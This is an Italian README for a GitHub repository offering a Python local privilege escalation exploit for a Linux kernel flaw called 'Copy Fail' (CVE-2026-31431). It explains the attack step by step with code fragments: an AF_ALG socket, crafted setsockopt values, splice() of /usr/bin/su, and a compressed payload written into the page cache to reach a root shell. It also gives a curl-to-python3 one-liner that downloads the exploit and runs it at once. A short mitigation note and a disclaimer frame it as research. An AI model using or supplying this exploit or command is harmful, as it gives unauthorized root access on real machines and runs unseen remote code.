abhishekhargan/cve-2026-31431Exploit Python per l'escalation dei privilegi locali nel kernel Linux (CVE-2026-31431) che sfrutta la confusione di stato del socket AF_ALG e splice() per ottenere scrittura arbitraria di file e accesso root.
Questo repository è strettamente a scopo educativo e di ricerca sulla cybersecurity. Il codice dell'exploit viene analizzato per comprendere la vulnerabilità sottostante, facilitare il patching e sviluppare strategie difensive. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
"Copy Fail" è una vulnerabilità critica di Escalatazione dei Privilegi Locali (LPE) trovata nel Kernel Linux. Consente a un utente non privilegiato di ottenere accesso root sfruttando un difetto nel modo in cui il kernel gestisce le operazioni di memoria tra il file system e l'API di Crittografia Asincrona (AF_ALG).
L'exploit Python fornito sfrutta una combinazione di syscall e interfacce Linux oscure per ottenere una scrittura arbitraria fuori dai limiti (OOB) nella memoria del kernel, che viene poi trasformata in una scrittura arbitraria di file su disco.
Ecco la suddivisione passo-passo della catena di attacco:
AF_ALGa=s.socket(38, 5, 0)
a.bind(("aead","authesn(hmac(sha256),cbc(aes))"))
Lo script crea un socket AF_ALG (Famiglia 38). Questa interfaccia consente alle applicazioni in spazio utente di scaricare le operazioni crittografiche sul kernel. Richiede specificamente una catena di cifratura AEAD (Autenticazione Crittografata con Dati Associati) che combina HMAC-SHA256 e CBC-AES.
setsockoptv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
Lo script manipola lo stato interno del socket utilizzando setsockopt. Il payload esadecimale e l'argomento None sono accuratamente costruiti per innescare una condizione al contorno o un overflow di interi nella gestione del buffer dell'API crittografica del kernel. Questo "fallisce" l'operazione di copia in modo sicuro all'interno del kernel, lasciando il socket in uno stato incoerente e vulnerabile.
splice()n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
Questo è il cuore dell'exploit. Invece di leggere i dati nello spazio utente e riscriverli, splice() sposta i dati direttamente tra i descrittori di file interamente nello spazio del kernel.
Lo script apre /usr/bin/su (un binario SUID root) e tenta di trasferire dati da esso nel socket AF_ALG configurato in modo errato. Poiché lo stato del socket è stato corrotto nel Passo 2, il controllo dei limiti del kernel fallisce durante questa operazione zero-copy.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
Lo script decomprime un payload compresso (probabilmente un piccolo shellcode o un blob binario modificato). Entra in un ciclo, inviando questo payload 4 byte alla volta nel buffer del socket corrotto. A causa del fallimento del controllo dei limiti, queste scritture da 4 byte finiscono a offset arbitrari nella cache delle pagine del kernel—lo spazio di memoria esatto in cui è caricato /usr/bin/su.
g.system("su")
Sovrascrivendo specifici puntatori di istruzione o controlli logici all'interno della versione in cache delle pagine di /usr/bin/su, l'attaccante modifica il comportamento del binario. Quando viene chiamato system("su"), esegue il binario SUID modificato. Il binario viene eseguito come root ma salta la verifica standard della password, portando l'attaccante direttamente a una shell root.
Scarica ed esegui copyfail.py sul tuo sistema Linux oppure usa la seguente richiesta curl per un'esecuzione rapida
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG: Se lo scaricamento crittografico non è richiesto dai tuoi carichi di lavoro, disabilita il modulo del kernel af_alg aggiungendo blacklist af_alg a /etc/modprobe.d/blacklist.conf.splice(), socket() (specificamente la famiglia 38) e setsockopt() utilizzando filtri Seccomp rigorosi.